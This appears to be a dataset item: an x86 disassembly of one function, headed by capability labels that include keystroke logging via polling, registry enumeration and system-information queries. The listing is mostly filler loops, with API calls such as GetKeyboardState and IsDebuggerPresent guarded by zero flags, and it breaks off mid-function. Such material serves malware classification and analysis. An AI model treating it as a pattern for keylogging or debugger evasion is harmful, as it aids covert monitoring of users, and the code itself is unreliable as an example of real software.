Function at 0x40129e
Capabilities:
Compare security identifiers
Get common file path
Get graphical window text
Get system information on windows
Identify system language via api
Log keystrokes via polling
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b14
call fcn.004906e0
push esi
push edi
mov dword [ebp - 0x3fc], 1
push 4
lea ecx, [ebp - 0x1558]
call fcn.0040f233
mov dword [ebp - 0x2b0], 0x6e58d020
mov dword [ebp - 0x408], 0
jmp 0x4012e7
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 4
jge 0x401306
push dword [ebp - 0x408]
lea ecx, [ebp - 0x1558]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x4012da
mov dword [ebp - 0x3fc], 0
jmp 0x40131f
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0x16
jle 0x4013d2
mov dword [ebp - 0x74], 0x5ba77230
mov dword [ebp - 0x74], 0
jmp 0x401343
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jg 0x401362
mov dword [ebp - 0x1674], 0x72a7
mov eax, dword [ebp - 0x2b0]
dec eax
mov dword [ebp - 0x2b0], eax
jmp 0x40133c
mov dword [ebp - 0x2b0], 0
jmp 0x40137b
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 3
jg 0x4013cd
mov dword [ebp - 0x74], 0
jmp 0x401394
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x4013ad
push dword [ebp - 0x74]
lea ecx, [ebp - 0x1558]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x40138d
mov byte [ebp - 0x292], 0
movzx eax, byte [ebp - 0x292]
test eax, eax
je 0x4013cb
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x40136e
jmp 0x401312
lea ecx, [ebp - 0x1558]
call fcn.0040f305
mov dword [ebp - 0x2b4], 1
mov dword [ebp - 0x398], 0xebb6748f
mov dword [ebp - 0x2b4], 0
jmp 0x40140a
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0xffffffea
jle 0x4017d4
mov dword [ebp - 0xfc], 0xfffffff8
mov dword [ebp - 0x1024], 0xffffffff
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0
je 0x401471
mov dword [ebp - 0xdf4], 2
mov dword [ebp - 0x10e8], 1
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xdf4], eax
mov eax, dword [ebp - 0xdf4]
mov dword [ebp - 0x10e8], eax
jmp 0x4017ae
mov dword [ebp - 0x76c], 0xfffffff6
mov dword [ebp - 0x760], 0x8b4b72b4
mov dword [ebp - 0x44], 0x9b96bc71
mov dword [ebp - 0x52c], 0
jmp 0x4014a5
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 3
jge 0x4014c1
mov eax, dword [ebp - 0x52c]
mov dword [ebp + eax*4 - 0x15c4], 0xf039d3cd
jmp 0x401498
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x1888], eax
cmp dword [ebp - 0xfc], 0
jne 0x4014e8
cmp dword [ebp - 0x76c], 0
jne 0x4014e8
and dword [ebp - 0xff8], 0
jmp 0x4014f2
mov dword [ebp - 0xff8], 1
mov eax, dword [ebp - 0xff8]
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
jne 0x401519
cmp dword [ebp - 0x2b4], 0
jne 0x401519
and dword [ebp - 0x1000], 0
jmp 0x401523
mov dword [ebp - 0x1000], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x15c4]
mov ecx, dword [ebp - 0x1000]
lea eax, [ecx + eax - 1]
test eax, eax
je 0x401553
cmp dword [ebp - 0xfc], 0
je 0x401553
mov dword [ebp - 0x774], 1
jmp 0x40155a
and dword [ebp - 0x774], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x774]
mov dword [ebp + eax - 0x15c4], ecx
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0
jne 0x401594
cmp dword [ebp - 0x1024], 0
jne 0x401594
and dword [ebp - 0x102c], 0
jmp 0x40159e
mov dword [ebp - 0x102c], 1
mov eax, dword [ebp - 0x1024]
cmp dword [ebp - 0x102c], eax
jl 0x4015b8
mov dword [ebp - 0x1034], 1
jmp 0x4015bf
and dword [ebp - 0x1034], 0
mov eax, dword [ebp - 0x1034]
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 0
je 0x4015dd
mov eax, 0xd6cd5387
test eax, eax
jne 0x4015ef
mov eax, 0xce404d46
test eax, eax
jne 0x4015ef
and dword [ebp - 0x103c], 0
jmp 0x4015f9
mov dword [ebp - 0x103c], 1
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x103c], eax
jl 0x401610
mov dword [ebp - 0x1044], 1
jmp 0x401617
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x1044], eax
jle 0x40162e
mov dword [ebp - 0x104c], 1
jmp 0x401635
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x104c], eax
jge 0x40164f
mov dword [ebp - 0x1054], 1
jmp 0x401656
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0x1054]
cmp eax, 0x2e0c
jge 0x401675
mov dword [ebp - 0x105c], 1
jmp 0x40167c
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x105c], eax
jl 0x401693
mov dword [ebp - 0x1064], 1
jmp 0x40169a
and dword [ebp - 0x1064], 0
cmp dword [ebp - 0x1064], 8
jb 0x4016af
mov dword [ebp - 0x106c], 1
jmp 0x4016b6
and dword [ebp - 0x106c], 0
cmp dword [ebp - 0x106c], 0x9172c2e8
je 0x4016ce
mov dword [ebp - 0x1074], 1
jmp 0x4016d5
and dword [ebp - 0x1074], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x1074]
jne 0x4016ef
mov dword [ebp - 0x107c], 1
jmp 0x4016f6
and dword [ebp - 0x107c], 0
cmp dword [ebp - 0x107c], 0x47b6
jle 0x40170e
mov dword [ebp - 0x10f8], 1
jmp 0x401715
and dword [ebp - 0x10f8], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x171c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1894], eax
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x1724], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1864], eax
cmp dword [ebp - 0xfc], 1
jg 0x401754
mov dword [ebp - 0x1084], 1
jmp 0x40175b
and dword [ebp - 0x1084], 0
mov eax, dword [ebp - 0x1084]
sub eax, 7
cmp eax, dword [ebp - 0x44]
jle 0x401775
mov dword [ebp - 0x109c], 1
jmp 0x40177c
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x109c]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0
jmp 0x401798
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x4017ae
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x15c4], 0x16cf0574
jmp 0x401791
mov byte [ebp - 0x1ce], 0
movzx eax, byte [ebp - 0x1ce]
test eax, eax
je 0x4017cf
push 0x113f
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
jmp 0x4013fd
mov dword [ebp - 0x534], 1
mov dword [ebp - 0x172c], 8
mov byte [ebp - 0x18c], 0
movzx eax, byte [ebp - 0x18c]
test eax, eax
je 0x401800
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov byte [ebp - 0x231], 0
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x401828
push 0
push 0
push 0x1e69
push 0x1ff6
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 4
lea ecx, [ebp - 0x15a0]
call fcn.0040f233
mov dword [ebp - 0x2bc], 0x6e58d020
mov dword [ebp - 0x18e4], 1
mov dword [ebp - 0x1734], 0xfffffffe
mov dword [ebp - 0x1100], 8
mov dword [ebp - 0x186c], 0x328129ec
mov dword [ebp - 0x404], 0
jmp 0x401880
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 3
jge 0x40189c
mov eax, dword [ebp - 0x404]
mov dword [ebp + eax*4 - 0x1ac0], 0xe8ce6fc2
jmp 0x401873
mov byte [ebp - 0x18e], 0
movzx eax, byte [ebp - 0x18e]
test eax, eax
je 0x4018b4
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov dword [ebp - 0x1100], 1
mov dword [ebp - 0x5c4], 0
jmp 0x4018d7
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 4
jge 0x4018f6
push dword [ebp - 0x5c4]
lea ecx, [ebp - 0x15a0]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x4018ca
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x40c], 0
jmp 0x401916
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 3
jge 0x401932
mov eax, dword [ebp - 0x40c]
mov dword [ebp + eax*4 - 0x199c], 0xeab3cf81
jmp 0x401909
mov byte [ebp - 0x1d0], 0
movzx eax, byte [ebp - 0x1d0]
test eax, eax
je 0x401955
push 1
push 0xfed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jge 0x401969
mov dword [ebp - 0x10a4], 1
jmp 0x401970
and dword [ebp - 0x10a4], 0
cmp dword [ebp - 0x24], 0
je 0x40198e
cmp dword [ebp - 0x24], 0
jne 0x401982
cmp dword [ebp - 0x24], 0
je 0x40198e
mov dword [ebp - 0x1108], 1
jmp 0x401995
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x173c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1984], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1898], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1798], eax
cmp dword [ebp - 0x24], 0x3e75
je 0x4019ce
mov dword [ebp - 0x1090], 1
jmp 0x4019d5
and dword [ebp - 0x1090], 0
mov eax, dword [ebp - 0x10a4]
cmp eax, dword [ebp - 0x1090]
jl 0x4019ef
mov dword [ebp - 0x1098], 1
jmp 0x4019f6
and dword [ebp - 0x1098], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1098], eax
jne 0x401a0d
mov dword [ebp - 0xf04], 1
jmp 0x401a14
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xf04], eax
je 0x401a2b
mov dword [ebp - 0xe10], 1
jmp 0x401a32
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xe10], eax
jle 0x401a4f
cmp dword [ebp - 0x24], 0
je 0x401a4f
mov dword [ebp - 0x7f8], 1
jmp 0x401a56
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x7f8], 0xfffffff7
ja 0x401a6b
mov dword [ebp - 0xe18], 1
jmp 0x401a72
and dword [ebp - 0xe18], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe18]
mov dword [ebp + eax - 0x199c], ecx
mov dword [ebp - 0x534], 0
jmp 0x401a9e
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x16
jle 0x402c39
mov dword [ebp - 0xc8], 0x5ba77230
push 1
lea ecx, [ebp - 0x14f8]
call fcn.0040f233
mov dword [ebp - 0x610], 0xffffffff
mov dword [ebp - 0x414], 0
jmp 0x401ae5
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 1
jge 0x401b07
push dword [ebp - 0x414]
lea ecx, [ebp - 0x14f8]
call fcn.0040f321
mov dword [eax], 0xaf11
jmp 0x401ad8
mov byte [ebp - 0x190], 0
movzx eax, byte [ebp - 0x190]
test eax, eax
je 0x401b2f
push 0
push 0
push 0x225c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov dword [ebp - 0x610], 0
jmp 0x401b48
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0
jg 0x401bf6
mov dword [ebp - 0x41c], 0xffffffff
mov byte [ebp - 0x269], 0
movzx eax, byte [ebp - 0x269]
test eax, eax
je 0x401b7e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [ebp - 0x41c], 0
jmp 0x401b97
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
jg 0x401bf1
mov dword [ebp - 0x2e4], 0x72159124
mov dword [ebp - 0x2e4], 0
jmp 0x401bc3
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 1
jge 0x401be5
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x14f8]
call fcn.0040f321
mov dword [eax], 1
jmp 0x401bb6
mov dword [ebp - 0x2e4], 7
jmp 0x401b8a
jmp 0x401b3b
lea ecx, [ebp - 0x14f8]
call fcn.0040f305
mov dword [ebp - 0xc8], 0
jmp 0x401c1a
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x401d68
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x53c], 0xffffffe2
jmp 0x401c4a
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x1a
jl 0x401ca4
mov byte [ebp - 0x192], 0
movzx eax, byte [ebp - 0x192]
test eax, eax
je 0x401c77
push 0x4fc
push 0xfee
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov byte [ebp - 0x1d2], 0
movzx eax, byte [ebp - 0x1d2]
test eax, eax
je 0x401ca2
push 0
push 0
push 0
push 0
push 0
push 0
push 0x208
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x401c3d
mov dword [ebp - 0x197c], 0x72a7
mov dword [ebp - 0x5cc], 6
mov dword [ebp - 0x17a0], 0xb72b21a3
mov dword [ebp - 0x800], 0xfffffff7
mov dword [ebp - 0x424], 0
jmp 0x401ce5
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 3
jge 0x401d01
mov eax, dword [ebp - 0x424]
mov dword [ebp + eax*4 - 0x1afc], 6
jmp 0x401cd8
mov dword [ebp - 0x5cc], 0
jmp 0x401d1a
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 2
jg 0x401d49
mov byte [ebp - 0x194], 0
movzx eax, byte [ebp - 0x194]
test eax, eax
je 0x401d47
push 0x1e2c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
jmp 0x401d0d
mov eax, dword [ebp - 0x800]
dec eax
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x2bc]
dec eax
mov dword [ebp - 0x2bc], eax
jmp 0x401c0d
push 2
lea ecx, [ebp - 0x1510]
call fcn.0040f233
mov dword [ebp - 0x34], 0
jmp 0x401d85
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x401d9b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x10c], 0xfffffff7
jmp 0x401d7e
mov dword [ebp - 0x34], 0
jmp 0x401dab
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x401dc1
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x18e0], 0
jmp 0x401da4
mov dword [ebp - 0x34], 0
jmp 0x401dd1
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x401ded
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1510]
call fcn.0040f321
mov dword [eax], 0x98422518
jmp 0x401dca
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x10c], 0
jmp 0x401e1b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x10c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c], 0xd
jne 0x401fd8
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x42c], 0xffffffff
mov dword [ebp - 0x1110], 0xfffffffd
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x18a0], eax
cmp dword [ebp - 0x144], 0
jne 0x401e74
cmp dword [ebp - 0x144], 0
jne 0x401e74
and dword [ebp - 0xe20], 0
jmp 0x401e7e
mov dword [ebp - 0xe20], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
imul eax, dword [ebp - 0xe20]
test eax, eax
jne 0x401ea6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x18e0], 0
je 0x401eb4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x18e0], 0
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x42c]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x17a8], eax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x1928], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x17b0], eax
cmp dword [ebp - 0x144], 0
jne 0x401f13
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c], 0
jne 0x401f13
push 6
pop eax
test eax, eax
jne 0x401f13
and dword [ebp - 0x808], 0
jmp 0x401f1d
mov dword [ebp - 0x808], 1
cmp dword [ebp - 0x808], 0xffffffff
je 0x401f32
mov dword [ebp - 0xe28], 1
jmp 0x401f39
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0xe28], eax
jne 0x401f63
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x18e0], 0
je 0x401f63
mov dword [ebp - 0x810], 1
jmp 0x401f6a
and dword [ebp - 0x810], 0
cmp dword [ebp - 0x810], 3
je 0x401f7f
mov dword [ebp - 0xe30], 1
jmp 0x401f86
and dword [ebp - 0xe30], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe30]
sub ecx, dword [ebp + eax - 0x10c]
mov dword [ebp - 0x818], ecx
push 0
lea ecx, [ebp - 0x1510]
call fcn.0040f321
mov ecx, dword [ebp - 0x818]
mov dword [eax], ecx
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x42c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10c]
mov dword [ebp - 0x1110], eax
jmp 0x401e00
lea ecx, [ebp - 0x1510]
call fcn.0040f305
mov dword [ebp - 0x2bc], 0
jmp 0x401ffc
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 3
jg 0x402c34
mov dword [ebp - 0x7e8], 0x2d5e48d3
mov dword [ebp - 0x7e4], 0x2d5e48d3
mov dword [ebp - 0x7e0], 0x2d5e48d3
mov dword [ebp - 0x7dc], 0x2d5e48d3
mov dword [ebp - 0x18], 0x52061f6
mov dword [ebp - 0x3e4], 1
mov dword [ebp - 0x5c], 0x391cb4e7
mov dword [ebp - 0x6c0], 0x1932e3ca
mov dword [ebp - 0x1438], 0x23edb395
mov dword [ebp - 0x1434], 0x23edb395
mov dword [ebp - 0x1430], 0x23edb395
mov dword [ebp - 0x142c], 0x23edb395
lea ecx, [ebp - 0x6f9]
call fcn.0040f330
push eax
lea eax, [ebp - 0x1428]
push eax
lea eax, [ebp - 0x1438]
push eax
lea ecx, [ebp - 0x1a1c]
call fcn.0040f333
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1528]
call fcn.0040f2df
mov dword [ebp - 0x1118], 0xffffffff
mov dword [ebp - 0x120c], 0x1f66
mov dword [ebp - 0x18], 3
jmp 0x4020d4
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x402232
mov dword [ebp - 0x820], 0xfffffff9
mov dword [ebp - 0x830], 9
cmp dword [ebp - 0x3e4], 0
jne 0x402153
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x18a8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x7e8]
cmp dword [ebp + eax*4 - 0x7e8], ecx
jl 0x40212f
mov dword [ebp - 0xe38], 1
jmp 0x402136
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0xe38]
sub eax, dword [ebp - 0x820]
add eax, dword [ebp - 0x830]
jne 0x402153
and dword [ebp - 0xe40], 0
jmp 0x40215d
mov dword [ebp - 0xe40], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x7e8]
imul ecx, dword [ebp - 0xe40]
cmp dword [ebp + eax*4 - 0x7e8], ecx
jle 0x402186
mov dword [ebp - 0x728], 1
jmp 0x40218d
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x728]
mov dword [ebp + eax*4 - 0x7e8], ecx
mov eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x728], eax
jl 0x4021b7
mov dword [ebp - 0x828], 1
jmp 0x4021be
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
je 0x4021e6
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x4021e6
mov dword [ebp - 0xe48], 1
jmp 0x4021ed
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0xe48]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp - 0x6c0]
imul eax, dword [ebp - 0x830]
mov dword [ebp - 0xe50], eax
push 0
lea ecx, [ebp - 0x1528]
call fcn.0040f321
mov ecx, dword [ebp - 0xe50]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe50]
mov dword [ebp - 0x1118], eax
jmp 0x4020cd
mov dword [ebp - 0x5c], 0
jmp 0x402242
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x40245f
mov dword [ebp - 0x544], 0xfff8
mov dword [ebp - 0x18], 3
jmp 0x402266
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x40242f
mov byte [ebp - 0x239], 0
movzx eax, byte [ebp - 0x239]
test eax, eax
je 0x40229d
push 0x1532
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, 0x10224968
test eax, eax
je 0x4023a6
mov eax, dword [ebp - 0x544]
cmp dword [ebp - 0x3e4], eax
jle 0x4022c4
mov dword [ebp - 0x1120], 1
jmp 0x4022cb
and dword [ebp - 0x1120], 0
cmp dword [ebp - 0x544], 0xefae07df
jne 0x4022ec
cmp dword [ebp - 0x544], 0
je 0x4022ec
mov dword [ebp - 0x838], 1
jmp 0x4022f3
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x838], eax
jg 0x40230a
mov dword [ebp - 0x1128], 1
jmp 0x402311
and dword [ebp - 0x1128], 0
xor eax, eax
inc eax
cmp eax, 1
je 0x40232f
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x7e8], 0
jne 0x40232f
and dword [ebp - 0xe58], 0
jmp 0x402339
mov dword [ebp - 0xe58], 1
imul eax, dword [ebp - 0xe58], 0x2987
test eax, eax
jb 0x402353
mov dword [ebp - 0x840], 1
jmp 0x40235a
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x7e8]
cmp dword [ebp - 0x840], eax
je 0x40237e
cmp dword [ebp - 0x544], 0
jne 0x40237e
and dword [ebp - 0xe60], 0
jmp 0x402388
mov dword [ebp - 0xe60], 1
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x7e8]
cmp eax, dword [ebp - 0xe60]
je 0x4023a6
mov dword [ebp - 0x848], 1
jmp 0x4023ad
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x7e8]
cmp dword [ebp - 0x848], eax
jl 0x4023cb
mov dword [ebp - 0xe68], 1
jmp 0x4023d2
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0x120c]
cmp dword [ebp - 0xe68], eax
jg 0x4023ec
mov dword [ebp - 0x850], 1
jmp 0x4023f3
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x6c0]
cmp dword [ebp - 0x850], eax
je 0x40240d
mov dword [ebp - 0xe70], 1
jmp 0x402414
and dword [ebp - 0xe70], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x1528]
call fcn.0040f321
mov ecx, dword [ebp - 0xe70]
mov dword [eax], ecx
jmp 0x40225f
mov byte [ebp - 0x196], 0
movzx eax, byte [ebp - 0x196]
test eax, eax
je 0x40245a
push 0xfc5
push 0
push 0xea3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
jmp 0x40223b
lea ecx, [ebp - 0x1528]
call fcn.0040f305
mov dword [ebp - 0xc8], 0
jmp 0x402483
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 4
jge 0x402526
mov dword [ebp - 0x614], 0x184c506d
mov dword [ebp - 0x434], 0
jmp 0x4024b3
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 2
jge 0x4024cf
mov eax, dword [ebp - 0x434]
mov dword [ebp + eax*4 - 0x1a94], 0xb57f
jmp 0x4024a6
mov dword [ebp - 0x614], 1
jmp 0x4024e8
mov eax, dword [ebp - 0x614]
dec eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0
jl 0x40250d
mov byte [ebp - 0x1d9], 0
movzx eax, byte [ebp - 0x1d9]
test eax, eax
je 0x40250b
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x4024db
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x15a0]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x402476
mov dword [ebp - 0x13c0], 0xfffffff7
mov dword [ebp - 0x13bc], 0xfffffff7
mov dword [ebp - 0x13b8], 0xfffffff7
mov dword [ebp - 0x13b4], 0xfffffff7
lea ecx, [ebp - 0x711]
call fcn.0040f330
push eax
lea eax, [ebp - 0x13b0]
push eax
lea eax, [ebp - 0x13c0]
push eax
lea ecx, [ebp - 0x1a74]
call fcn.0040f333
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x668]
call fcn.0040f2df
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x121c], 0xffffffff
mov dword [ebp - 0xe90], 0x87c4177f
mov dword [ebp - 0x2c], 0
jmp 0x4025ae
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jg 0x402863
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x60], 0
jmp 0x4025cf
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jg 0x402716
mov dword [ebp - 0x43c], 0
jmp 0x4025f2
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 1
jge 0x40260e
mov eax, dword [ebp - 0x43c]
mov dword [ebp + eax*4 - 0x1214], 0xffffffff
jmp 0x4025e5
mov byte [ebp - 0x198], 0
movzx eax, byte [ebp - 0x198]
test eax, eax
je 0x402628
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x17b8], eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x668]
call fcn.0040f321
cmp dword [eax], 0x7aced45b
jne 0x402661
